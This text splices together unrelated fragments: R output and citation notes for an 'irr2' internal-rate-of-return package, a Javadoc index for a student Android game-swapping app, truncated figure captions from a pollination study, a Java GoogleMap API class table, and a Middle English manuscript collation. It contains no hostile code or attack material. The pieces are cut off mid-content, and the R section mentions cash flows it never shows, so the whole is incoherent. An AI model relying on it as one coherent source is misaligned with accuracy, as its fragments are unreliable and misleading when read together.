#> Warning in f(arg, ...): The unit of discount is percentage, as xx%.
irr_m
#> [1] 1.33299
((irr_m/100+1)^12-1)*100
#> [1] 17.22232
If the discount rate is 2%, calcuate NPV of this cash flows. If the discount rate is 1%, calcuate NPV of this cash flows.
Jiaxiang Li. (2019, November 28). JiaxiangBU/irr2: irr2 0.1.0 (Version v0.1.0). Zenodo. http://doi.org/10.5281/zenodo.3555642
@software{jiaxiang_li_2019_3555642,
author = {Jiaxiang Li},
title = {JiaxiangBU/irr2: irr2 0.1.0},
month = nov,
year = 2019,
publisher = {Zenodo},
version = {v0.1.0},
doi = {10.5281/zenodo.3555642},
url = {https://doi.org/10.5281/zenodo.3555642}
}
If you use irr2, I would be very grateful if you can add a citation in your published work. By citing irr2, beyond acknowledging the work, you contribute to make it more visible and guarantee its growing and sustainability. For citation, please use the BibTex or the citation content.
irr2
project is released with a Contributor Code of Conduct.Ellis, Peter. 2019. “Cost-Benefit Analysis in R.” free range statistics. 2019. http://freerangestats.info/blog/2019/11/24/cost-benefit-analysis.


- ic_action - Static variable in class cmput301t4.gameswap.R.drawable
-
- ic_action_name - Static variable in class cmput301t4.gameswap.R.drawable
-
- ic_launcher - Static variable in class cmput301t4.gameswap.R.mipmap
-
- IfNotify(int) - Method in class cmput301t4.gameswap.Models.User
-
- Image - Static variable in class cmput301t4.gameswap.R.array
-
- image - Static variable in class cmput301t4.gameswap.R.string
-
- image_popup - Static variable in class cmput301t4.gameswap.R.menu
-
- imageButton - Static variable in class cmput301t4.gameswap.R.id
-
- ImageModel - Class in cmput301t4.gameswap.Models
-
Image model contains images corresponding to the items along with their information
such as imahe size, user name and image ID
- ImageModel(int, String, byte[]) - Constructor for class cmput301t4.gameswap.Models.ImageModel
-
Constructor for Image model
- imageRdy - Static variable in class cmput301t4.gameswap.Managers.UserManager
-
set to 1 if image pulled from server was not null
- imageView - Static variable in class cmput301t4.gameswap.R.id
-
- imageView1 - Static variable in class cmput301t4.gameswap.R.id
-
- IncreaseNotifiyAmount(Integer) - Method in class cmput301t4.gameswap.Managers.UserManager
-
- IncreaseNotifiyAmount(Integer) - Method in class cmput301t4.gameswap.Models.User
-
Function to increase the notification amount
- incrementCounter() - Method in class cmput301t4.gameswap.Models.User
-
Function to increment the counter
- Inventory - Class in cmput301t4.gameswap.Models
-
Stores the Items that the current user owns
- Inventory() - Constructor for class cmput301t4.gameswap.Models.Inventory
-
- inventory - Static variable in class cmput301t4.gameswap.R.id
-
- InventoryManager - Class in cmput301t4.gameswap.Managers
-
InventoryManager handles all the function related to the inventory
- InventoryManager() - Constructor for class cmput301t4.gameswap.Managers.InventoryManager
-
- InventoryTest - Class in cmput301t4.gameswap
-
- InventoryTest() - Constructor for class cmput301t4.gameswap.InventoryTest
-
- InvSearchManager - Class in cmput301t4.gameswap.Managers
-
InventoryManager handles all the searching through the inventory
- InvSearchManager() - Constructor for class cmput301t4.gameswap.Managers.InvSearchManager
-
- InvSearchTest - Class in cmput301t4.gameswap
-
Created by dren on 11/4/15.
- InvSearchTest() - Constructor for class cmput301t4.gameswap.InvSearchTest
-
- isEmpty() - Method in class cmput301t4.gameswap.Models.FriendList
-
Checks if the current user has any friends :(
- isEmpty() - Method in class cmput301t4.gameswap.Models.Inventory
-
Checks if the current user has any Items :(
- isEmpty() - Method in class cmput301t4.gameswap.Models.TradeList
-
Checks if trade list is empty
- Item - Class in cmput301t4.gameswap.Models
-
Stores the information about a given game
- Item(String, String, boolean, Integer, Integer, String) - Constructor for class cmput301t4.gameswap.Models.Item
-
Creates a new Item without a picture
- itemsFromFriendInventory - Static variable in class cmput301t4.gameswap.R.id
-
- itemsFromMyInventory - Static variable in class cmput301t4.gameswap.R.id
-


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| Figure 1 |
(a) Locations of four contact zones where surveys were condu ... |
| Figure 2 |
Relationship between Julian days when flowering specimens of ... |
| Figure 3 |
Julian day of collection for flowering Polemonium and Salix ... |
| Figure 4 |
Variation among sites in contamination of Polemonium stigma ... |
| Figure 5 |
Relationship between contamination of Polemonium stigma poll ... |
| Figure 6 |
Seed set per flower for plants of Polemonium under natural p ... |


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| Class and Description |
|---|
| DirectionsPane |
| GoogleMap |
| LatLong |
| MapOptions |
| Class and Description |
|---|
| Animation |
| GMapPoint |
| GoogleMap |
| InfoWindowOptions
Options for setting an InfoWindow on a Map.
|
| LatLong |
| LatLongBounds |
| MapOptions |
| MapShape |
| MapTypeIdEnum |
| Marker
Marker which can be placed on a GoogleMap.
|
| MarkerOptions |
| MVCArray
This javascript object current takes JavascriptObjects as parameters, but
returns JSObjects, as it doesn't know what has been placed within it.
|
| PolylineOptions |
| Projection |
| Size
Size object corresponding to google.maps.Size
Two-dimensonal size, where width is the distance on the x-axis, and height is the distance on the y-axis.
|
| Class and Description |
|---|
| DirectionsPane |
| GoogleMap |
| LatLong |
| LatLongBounds |
| Class and Description |
|---|
| LatLong |
| Class and Description |
|---|
| LatLong |
| LatLongBounds |
| Class and Description |
|---|
| LatLong |
| LatLongBounds |
| MapShape |
| MVCArray
This javascript object current takes JavascriptObjects as parameters, but
returns JSObjects, as it doesn't know what has been placed within it.
|
| Class and Description |
|---|
| LatLong |
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| 618 | (A) | the kynge hase comandide a cry þat conscent was sone |
| 621 | (C) | ¶ The kynge commaunded a cry . þat knowen was sone |
| 615 | (D) | The kyng comaundid a cry þat knowyn was sone |
| 607 | (E) | the kyng anoon made a cry . þat knowyn was sone |
| (Ex) | ---- no text ---- | |
| 636 | (L) | þe kyng comaundeþ a cry þat comsed was sone |
| 576 | (P) | þe kynge comaunde a cry þat counsayle was |
| 612 | (U) | The kyng comaunde a crie / that knowen was sone |
| (V) | ---- no text ---- |